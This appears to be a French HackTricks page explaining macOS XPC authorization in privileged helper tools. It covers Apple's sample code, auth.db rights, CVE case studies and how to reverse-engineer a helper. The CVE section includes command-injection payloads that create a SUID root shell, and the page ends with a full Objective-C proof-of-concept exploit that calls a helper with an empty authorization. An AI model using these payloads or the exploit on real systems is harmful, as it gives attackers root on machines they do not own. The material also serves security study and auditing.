macOS XPC Autorisation

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

XPC Autorisation

Apple propose aussi une autre façon d’authentifier si le processus qui se connecte a les permissions d’appeler une méthode XPC exposée.

Quand une application doit exécuter des actions en tant qu’utilisateur privilégié, au lieu d’exécuter l’app en tant qu’utilisateur privilégié elle installe généralement en tant que root un HelperTool comme service XPC qui peut être appelé depuis l’app pour effectuer ces actions. Cependant, l’app appelant le service doit disposer d’une autorisation suffisante.

ShouldAcceptNewConnection toujours YES

Un exemple se trouve dans EvenBetterAuthorizationSample. Dans App/AppDelegate.m elle tente de se connecter au HelperTool. Et dans HelperTool/HelperTool.m la fonction shouldAcceptNewConnection ne vérifiera pas aucune des exigences indiquées précédemment. Elle renverra toujours YES :

- (BOOL)listener:(NSXPCListener *)listener shouldAcceptNewConnection:(NSXPCConnection *)newConnection
// Called by our XPC listener when a new connection comes in.  We configure the connection
// with our protocol and ourselves as the main object.
{
assert(listener == self.listener);
#pragma unused(listener)
assert(newConnection != nil);

newConnection.exportedInterface = [NSXPCInterface interfaceWithProtocol:@protocol(HelperToolProtocol)];
newConnection.exportedObject = self;
[newConnection resume];

return YES;
}

Pour plus d’informations sur la manière de configurer correctement cette vérification:

macOS XPC Connecting Process Check

Droits de l’application

Cependant, il y a une certaine autorisation qui intervient lorsqu’une méthode du HelperTool est appelée.

La fonction applicationDidFinishLaunching dans App/AppDelegate.m va créer une référence d’autorisation vide une fois que l’application a démarré. Cela devrait toujours fonctionner.
Ensuite, elle essaiera d’ajouter certains droits à cette référence d’autorisation en appelant setupAuthorizationRights :

- (void)applicationDidFinishLaunching:(NSNotification *)note
{
[...]
err = AuthorizationCreate(NULL, NULL, 0, &self->_authRef);
if (err == errAuthorizationSuccess) {
err = AuthorizationMakeExternalForm(self->_authRef, &extForm);
}
if (err == errAuthorizationSuccess) {
self.authorization = [[NSData alloc] initWithBytes:&extForm length:sizeof(extForm)];
}
assert(err == errAuthorizationSuccess);

// If we successfully connected to Authorization Services, add definitions for our default
// rights (unless they're already in the database).

if (self->_authRef) {
[Common setupAuthorizationRights:self->_authRef];
}

[self.window makeKeyAndOrderFront:self];
}

La fonction setupAuthorizationRights dans Common/Common.m enregistrera dans la base d’autorisations /var/db/auth.db les droits de l’application. Remarquez qu’elle n’ajoutera que les droits qui ne sont pas encore présents dans la base de données :

+ (void)setupAuthorizationRights:(AuthorizationRef)authRef
// See comment in header.
{
assert(authRef != NULL);
[Common enumerateRightsUsingBlock:^(NSString * authRightName, id authRightDefault, NSString * authRightDesc) {
OSStatus    blockErr;

// First get the right.  If we get back errAuthorizationDenied that means there's
// no current definition, so we add our default one.

blockErr = AuthorizationRightGet([authRightName UTF8String], NULL);
if (blockErr == errAuthorizationDenied) {
blockErr = AuthorizationRightSet(
authRef,                                    // authRef
[authRightName UTF8String],                 // rightName
(__bridge CFTypeRef) authRightDefault,      // rightDefinition
(__bridge CFStringRef) authRightDesc,       // descriptionKey
NULL,                                       // bundle (NULL implies main bundle)
CFSTR("Common")                             // localeTableName
);
assert(blockErr == errAuthorizationSuccess);
} else {
// A right already exists (err == noErr) or any other error occurs, we
// assume that it has been set up in advance by the system administrator or
// this is the second time we've run.  Either way, there's nothing more for
// us to do.
}
}];
}

La fonction enumerateRightsUsingBlock est celle utilisée pour obtenir les permissions des applications, qui sont définies dans commandInfo:

static NSString * kCommandKeyAuthRightName    = @"authRightName";
static NSString * kCommandKeyAuthRightDefault = @"authRightDefault";
static NSString * kCommandKeyAuthRightDesc    = @"authRightDescription";

+ (NSDictionary *)commandInfo
{
static dispatch_once_t sOnceToken;
static NSDictionary *  sCommandInfo;

dispatch_once(&sOnceToken, ^{
sCommandInfo = @{
NSStringFromSelector(@selector(readLicenseKeyAuthorization:withReply:)) : @{
kCommandKeyAuthRightName    : @"com.example.apple-samplecode.EBAS.readLicenseKey",
kCommandKeyAuthRightDefault : @kAuthorizationRuleClassAllow,
kCommandKeyAuthRightDesc    : NSLocalizedString(
@"EBAS is trying to read its license key.",
@"prompt shown when user is required to authorize to read the license key"
)
},
NSStringFromSelector(@selector(writeLicenseKey:authorization:withReply:)) : @{
kCommandKeyAuthRightName    : @"com.example.apple-samplecode.EBAS.writeLicenseKey",
kCommandKeyAuthRightDefault : @kAuthorizationRuleAuthenticateAsAdmin,
kCommandKeyAuthRightDesc    : NSLocalizedString(
@"EBAS is trying to write its license key.",
@"prompt shown when user is required to authorize to write the license key"
)
},
NSStringFromSelector(@selector(bindToLowNumberPortAuthorization:withReply:)) : @{
kCommandKeyAuthRightName    : @"com.example.apple-samplecode.EBAS.startWebService",
kCommandKeyAuthRightDefault : @kAuthorizationRuleClassAllow,
kCommandKeyAuthRightDesc    : NSLocalizedString(
@"EBAS is trying to start its web service.",
@"prompt shown when user is required to authorize to start the web service"
)
}
};
});
return sCommandInfo;
}

+ (NSString *)authorizationRightForCommand:(SEL)command
// See comment in header.
{
return [self commandInfo][NSStringFromSelector(command)][kCommandKeyAuthRightName];
}

+ (void)enumerateRightsUsingBlock:(void (^)(NSString * authRightName, id authRightDefault, NSString * authRightDesc))block
// Calls the supplied block with information about each known authorization right..
{
[self.commandInfo enumerateKeysAndObjectsUsingBlock:^(id key, id obj, BOOL *stop) {
#pragma unused(key)
#pragma unused(stop)
NSDictionary *  commandDict;
NSString *      authRightName;
id              authRightDefault;
NSString *      authRightDesc;

// If any of the following asserts fire it's likely that you've got a bug
// in sCommandInfo.

commandDict = (NSDictionary *) obj;
assert([commandDict isKindOfClass:[NSDictionary class]]);

authRightName = [commandDict objectForKey:kCommandKeyAuthRightName];
assert([authRightName isKindOfClass:[NSString class]]);

authRightDefault = [commandDict objectForKey:kCommandKeyAuthRightDefault];
assert(authRightDefault != nil);

authRightDesc = [commandDict objectForKey:kCommandKeyAuthRightDesc];
assert([authRightDesc isKindOfClass:[NSString class]]);

block(authRightName, authRightDefault, authRightDesc);
}];
}

Cela signifie qu’à la fin de ce processus, les permissions déclarées à l’intérieur de commandInfo seront stockées dans /var/db/auth.db. Remarquez qu’on peut y trouver pour chaque méthode qui requiert une authentification, le nom de la permission et le kCommandKeyAuthRightDefault. Ce dernier indique qui peut obtenir ce droit.

Il existe différents scopes pour indiquer qui peut accéder à un droit. Certains d’entre eux sont définis dans AuthorizationDB.h (vous pouvez trouver tous ici), mais en résumé :

NameValueDescription
kAuthorizationRuleClassAllowallowN'importe qui
kAuthorizationRuleClassDenydenyPersonne
kAuthorizationRuleIsAdminis-adminL'utilisateur actuel doit être admin (dans le groupe admin)
kAuthorizationRuleAuthenticateAsSessionUserauthenticate-session-ownerDemande à l'utilisateur de s'authentifier.
kAuthorizationRuleAuthenticateAsAdminauthenticate-adminDemande à l'utilisateur de s'authentifier. Il doit être admin (dans le groupe admin)
kAuthorizationRightRuleruleSpécifier des règles
kAuthorizationCommentcommentSpécifier des commentaires supplémentaires sur le droit

Vérification des droits

Dans HelperTool/HelperTool.m la fonction readLicenseKeyAuthorization vérifie si l’appelant est autorisé à exécuter cette méthode en appelant la fonction checkAuthorization. Cette fonction vérifiera que les authData envoyés par le processus appelant ont un format correct puis vérifiera ce qui est nécessaire pour obtenir le droit d’appeler la méthode spécifique. Si tout se passe bien, l’error retournée sera nil :

- (NSError *)checkAuthorization:(NSData *)authData command:(SEL)command
{
[...]

// First check that authData looks reasonable.

error = nil;
if ( (authData == nil) || ([authData length] != sizeof(AuthorizationExternalForm)) ) {
error = [NSError errorWithDomain:NSOSStatusErrorDomain code:paramErr userInfo:nil];
}

// Create an authorization ref from that the external form data contained within.

if (error == nil) {
err = AuthorizationCreateFromExternalForm([authData bytes], &authRef);

// Authorize the right associated with the command.

if (err == errAuthorizationSuccess) {
AuthorizationItem   oneRight = { NULL, 0, NULL, 0 };
AuthorizationRights rights   = { 1, &oneRight };

oneRight.name = [[Common authorizationRightForCommand:command] UTF8String];
assert(oneRight.name != NULL);

err = AuthorizationCopyRights(
authRef,
&rights,
NULL,
kAuthorizationFlagExtendRights | kAuthorizationFlagInteractionAllowed,
NULL
);
}
if (err != errAuthorizationSuccess) {
error = [NSError errorWithDomain:NSOSStatusErrorDomain code:err userInfo:nil];
}
}

if (authRef != NULL) {
junk = AuthorizationFree(authRef, 0);
assert(junk == errAuthorizationSuccess);
}

return error;
}

Notez que, pour vérifier les exigences nécessaires pour obtenir le droit d’appeler cette méthode la fonction authorizationRightForCommand va simplement vérifier l’objet précédemment mentionné commandInfo. Ensuite, elle appellera AuthorizationCopyRights pour vérifier si elle dispose des droits pour appeler la fonction (notez que les flags permettent l’interaction avec l’utilisateur).

Dans ce cas, pour appeler la fonction readLicenseKeyAuthorization le kCommandKeyAuthRightDefault est défini sur @kAuthorizationRuleClassAllow. Donc n’importe qui peut l’appeler.

Informations DB

Il a été mentionné que ces informations sont stockées dans /var/db/auth.db. Vous pouvez lister toutes les règles stockées avec :

sudo sqlite3 /var/db/auth.db
SELECT name FROM rules;
SELECT name FROM rules WHERE name LIKE '%safari%';

Ensuite, vous pouvez vérifier qui a accès à ce droit avec :

security authorizationdb read com.apple.safaridriver.allow

Droits permissifs

Vous pouvez trouver all the permissions configurations in here, mais les combinaisons qui ne nécessitent pas d’interaction utilisateur seraient :

  1. ‘authenticate-user’: ‘false’
  • C’est la clé la plus directe. Si elle est définie sur false, cela indique qu’un utilisateur n’a pas besoin de fournir une authentification pour obtenir ce droit.
  • Elle est utilisée en combinaison avec l’une des 2 ci-dessous ou en indiquant un groupe auquel l’utilisateur doit appartenir.
  1. ‘allow-root’: ‘true’
  • Si un utilisateur opère en tant que root (qui a des permissions élevées), et que cette clé est réglée sur true, l’utilisateur root pourrait potentiellement obtenir ce droit sans authentification supplémentaire. Cependant, en général, atteindre un statut root nécessite déjà une authentification, donc ce n’est pas un scénario “no authentication” pour la plupart des utilisateurs.
  1. ‘session-owner’: ‘true’
  • Si réglé sur true, le propriétaire de la session (l’utilisateur actuellement connecté) obtiendrait automatiquement ce droit. Cela peut contourner une authentification supplémentaire si l’utilisateur est déjà connecté.
  1. ‘shared’: ‘true’
  • Cette clé n’accorde pas de droits sans authentification. Au lieu de cela, si elle est réglée sur true, cela signifie qu’une fois que le droit a été authentifié, il peut être partagé entre plusieurs processus sans que chacun doive se ré-authentifier. Mais l’octroi initial du droit nécessiterait toujours une authentification sauf s’il est combiné avec d’autres clés comme 'authenticate-user': 'false'.

Vous pouvez use this script pour obtenir les droits intéressants :

Rights with 'authenticate-user': 'false':
is-admin (admin), is-admin-nonshared (admin), is-appstore (_appstore), is-developer (_developer), is-lpadmin (_lpadmin), is-root (run as root), is-session-owner (session owner), is-webdeveloper (_webdeveloper), system-identity-write-self (session owner), system-install-iap-software (run as root), system-install-software-iap (run as root)

Rights with 'allow-root': 'true':
com-apple-aosnotification-findmymac-remove, com-apple-diskmanagement-reservekek, com-apple-openscripting-additions-send, com-apple-reportpanic-fixright, com-apple-servicemanagement-blesshelper, com-apple-xtype-fontmover-install, com-apple-xtype-fontmover-remove, com-apple-dt-instruments-process-analysis, com-apple-dt-instruments-process-kill, com-apple-pcastagentconfigd-wildcard, com-apple-trust-settings-admin, com-apple-wifivelocity, com-apple-wireless-diagnostics, is-root, system-install-iap-software, system-install-software, system-install-software-iap, system-preferences, system-preferences-accounts, system-preferences-datetime, system-preferences-energysaver, system-preferences-network, system-preferences-printing, system-preferences-security, system-preferences-sharing, system-preferences-softwareupdate, system-preferences-startupdisk, system-preferences-timemachine, system-print-operator, system-privilege-admin, system-services-networkextension-filtering, system-services-networkextension-vpn, system-services-systemconfiguration-network, system-sharepoints-wildcard

Rights with 'session-owner': 'true':
authenticate-session-owner, authenticate-session-owner-or-admin, authenticate-session-user, com-apple-safari-allow-apple-events-to-run-javascript, com-apple-safari-allow-javascript-in-smart-search-field, com-apple-safari-allow-unsigned-app-extensions, com-apple-safari-install-ephemeral-extensions, com-apple-safari-show-credit-card-numbers, com-apple-safari-show-passwords, com-apple-icloud-passwordreset, com-apple-icloud-passwordreset, is-session-owner, system-identity-write-self, use-login-window-ui

Authorization Bypass Case Studies

  • CVE-2025-65842 – Acustica Audio Aquarius HelperTool: Le service Mach privilégié com.acustica.HelperTool accepte toutes les connexions et sa routine checkAuthorization: appelle AuthorizationCopyRights(NULL, …), donc n’importe quel 32‑byte blob est accepté. executeCommand:authorization:withReply: injecte ensuite des chaînes contrôlées par l’attaquant, séparées par des virgules, dans NSTask s’exécutant en tant que root, générant des payloads tels que :
"/bin/sh,-c,cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash"

créer trivialement un SUID root shell. Détails dans this write-up.

  • CVE-2025-55076 – Plugin Alliance InstallationHelper: Le listener renvoie toujours YES et le même motif NULL AuthorizationCopyRights apparaît dans checkAuthorization:. La méthode exchangeAppWithReply: concatène l’entrée de l’attaquant dans une chaîne pour system() deux fois, donc l’injection de métacaractères shell dans appPath (par ex. "/Applications/Test.app";chmod 4755 /tmp/rootbash;) permet l’exécution de code en root via le service Mach com.plugin-alliance.pa-installationhelper. More info here.
  • CVE-2024-4395 – Jamf Compliance Editor helper: L’exécution d’un audit dépose /Library/LaunchDaemons/com.jamf.complianceeditor.helper.plist, expose le service Mach com.jamf.complianceeditor.helper et exporte -executeScriptAt:arguments:then: sans vérifier le AuthorizationExternalForm de l’appelant ni la signature du code. Un exploit trivial appelle AuthorizationCreate pour obtenir une référence vide, se connecte avec [[NSXPCConnection alloc] initWithMachServiceName:options:NSXPCConnectionPrivileged] et invoque la méthode pour exécuter des binaires arbitraires en root. Full reversing notes (plus PoC) in Mykola Grymalyuk’s write-up.
  • CVE-2025-25251 – FortiClient Mac helper: FortiClient Mac 7.0.0–7.0.14, 7.2.0–7.2.8 et 7.4.0–7.4.2 acceptaient des messages XPC forgés qui atteignaient un helper privilégié dépourvu de barrières d’autorisation. Parce que le helper faisait confiance à son propre AuthorizationRef privilégié, tout utilisateur local capable d’envoyer des messages au service pouvait le contraindre à exécuter des modifications de configuration arbitraires ou des commandes en root. Détails dans SentinelOne’s advisory summary.

Conseils de triage rapide

  • Lorsqu’une application est fournie à la fois avec une GUI et un helper, comparez leurs exigences de code et vérifiez si shouldAcceptNewConnection verrouille le listener avec -setCodeSigningRequirement: (ou valide SecCodeCopySigningInformation). L’absence de ces vérifications mène généralement à des scénarios CWE-863 comme dans le cas Jamf. Un aperçu rapide ressemble à :
codesign --display --requirements - /Applications/Jamf\ Compliance\ Editor.app
  • Comparez ce que le helper pense autoriser avec ce que le client fournit. Lors du reverse engineering, mettez un break sur AuthorizationCopyRights et confirmez que le AuthorizationRef provient de AuthorizationCreateFromExternalForm (fourni par le client) plutôt que du contexte privilégié du helper ; sinon vous avez probablement trouvé un pattern CWE-863 similaire aux cas ci‑dessus.

Rétro-ingénierie de l’autorisation

Vérifier si EvenBetterAuthorization est utilisé

Si vous trouvez la fonction : [HelperTool checkAuthorization:command:], il est probable que le processus utilise le schéma d’autorisation mentionné précédemment :

Dans ce cas, si cette fonction appelle des fonctions telles que AuthorizationCreateFromExternalForm, authorizationRightForCommand, AuthorizationCopyRights, AuhtorizationFree, elle utilise EvenBetterAuthorizationSample.

Vérifiez le /var/db/auth.db pour voir s’il est possible d’obtenir les permissions pour appeler une action privilégiée sans interaction utilisateur.

Communication du protocole

Ensuite, il faut trouver le schéma du protocole afin de pouvoir établir une communication avec le service XPC.

La fonction shouldAcceptNewConnection indique le protocole exporté :

In this case, we have the same as in EvenBetterAuthorizationSample, check this line.

Connaissant le nom du protocole utilisé, il est possible de dump its header definition with:

class-dump /Library/PrivilegedHelperTools/com.example.HelperTool

[...]
@protocol HelperToolProtocol
- (void)overrideProxySystemWithAuthorization:(NSData *)arg1 setting:(NSDictionary *)arg2 reply:(void (^)(NSError *))arg3;
- (void)revertProxySystemWithAuthorization:(NSData *)arg1 restore:(BOOL)arg2 reply:(void (^)(NSError *))arg3;
- (void)legacySetProxySystemPreferencesWithAuthorization:(NSData *)arg1 enabled:(BOOL)arg2 host:(NSString *)arg3 port:(NSString *)arg4 reply:(void (^)(NSError *, BOOL))arg5;
- (void)getVersionWithReply:(void (^)(NSString *))arg1;
- (void)connectWithEndpointReply:(void (^)(NSXPCListenerEndpoint *))arg1;
@end
[...]

Enfin, il nous suffit de connaître le nom du Mach Service exposé afin d’établir une communication avec lui. Il existe plusieurs façons de le trouver :

  • Dans le [HelperTool init] où vous pouvez voir le Mach Service utilisé :
  • Dans le launchd plist:
cat /Library/LaunchDaemons/com.example.HelperTool.plist

[...]

<key>MachServices</key>
<dict>
<key>com.example.HelperTool</key>
<true/>
</dict>
[...]

Exploit Example

Dans cet exemple sont créés :

  • La définition du protocole avec les fonctions
  • Une auth vide à utiliser pour demander l’accès
  • Une connexion au service XPC
  • Un appel de la fonction si la connexion a réussi
// gcc -framework Foundation -framework Security expl.m -o expl

#import <Foundation/Foundation.h>
#import <Security/Security.h>

// Define a unique service name for the XPC helper
static NSString* XPCServiceName = @"com.example.XPCHelper";

// Define the protocol for the helper tool
@protocol XPCHelperProtocol
- (void)applyProxyConfigWithAuthorization:(NSData *)authData settings:(NSDictionary *)settings reply:(void (^)(NSError *))callback;
- (void)resetProxyConfigWithAuthorization:(NSData *)authData restoreDefault:(BOOL)shouldRestore reply:(void (^)(NSError *))callback;
- (void)legacyConfigureProxyWithAuthorization:(NSData *)authData enabled:(BOOL)isEnabled host:(NSString *)hostAddress port:(NSString *)portNumber reply:(void (^)(NSError *, BOOL))callback;
- (void)fetchVersionWithReply:(void (^)(NSString *))callback;
- (void)establishConnectionWithReply:(void (^)(NSXPCListenerEndpoint *))callback;
@end

int main(void) {
NSData *authData;
OSStatus status;
AuthorizationExternalForm authForm;
AuthorizationRef authReference = {0};
NSString *proxyAddress = @"127.0.0.1";
NSString *proxyPort = @"4444";
Boolean isProxyEnabled = true;

// Create an empty authorization reference
status = AuthorizationCreate(NULL, kAuthorizationEmptyEnvironment, kAuthorizationFlagDefaults, &authReference);
const char* errorMsg = CFStringGetCStringPtr(SecCopyErrorMessageString(status, nil), kCFStringEncodingMacRoman);
NSLog(@"OSStatus: %s", errorMsg);

// Convert the authorization reference to an external form
if (status == errAuthorizationSuccess) {
status = AuthorizationMakeExternalForm(authReference, &authForm);
errorMsg = CFStringGetCStringPtr(SecCopyErrorMessageString(status, nil), kCFStringEncodingMacRoman);
NSLog(@"OSStatus: %s", errorMsg);
}

// Convert the external form to NSData for transmission
if (status == errAuthorizationSuccess) {
authData = [[NSData alloc] initWithBytes:&authForm length:sizeof(authForm)];
errorMsg = CFStringGetCStringPtr(SecCopyErrorMessageString(status, nil), kCFStringEncodingMacRoman);
NSLog(@"OSStatus: %s", errorMsg);
}

// Ensure the authorization was successful
assert(status == errAuthorizationSuccess);

// Establish an XPC connection
NSString *serviceName = XPCServiceName;
NSXPCConnection *xpcConnection = [[NSXPCConnection alloc] initWithMachServiceName:serviceName options:0x1000];
NSXPCInterface *xpcInterface = [NSXPCInterface interfaceWithProtocol:@protocol(XPCHelperProtocol)];
[xpcConnection setRemoteObjectInterface:xpcInterface];
[xpcConnection resume];

// Handle errors for the XPC connection
id remoteProxy = [xpcConnection remoteObjectProxyWithErrorHandler:^(NSError *error) {
NSLog(@"[-] Connection error");
NSLog(@"[-] Error: %@", error);
}];

// Log the remote proxy and connection objects
NSLog(@"Remote Proxy: %@", remoteProxy);
NSLog(@"XPC Connection: %@", xpcConnection);

// Use the legacy method to configure the proxy
[remoteProxy legacyConfigureProxyWithAuthorization:authData enabled:isProxyEnabled host:proxyAddress port:proxyPort reply:^(NSError *error, BOOL success) {
NSLog(@"Response: %@", error);
}];

// Allow some time for the operation to complete
[NSThread sleepForTimeInterval:10.0f];

NSLog(@"Finished!");
}

Autres helpers XPC d’élévation de privilèges abusés

Références

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks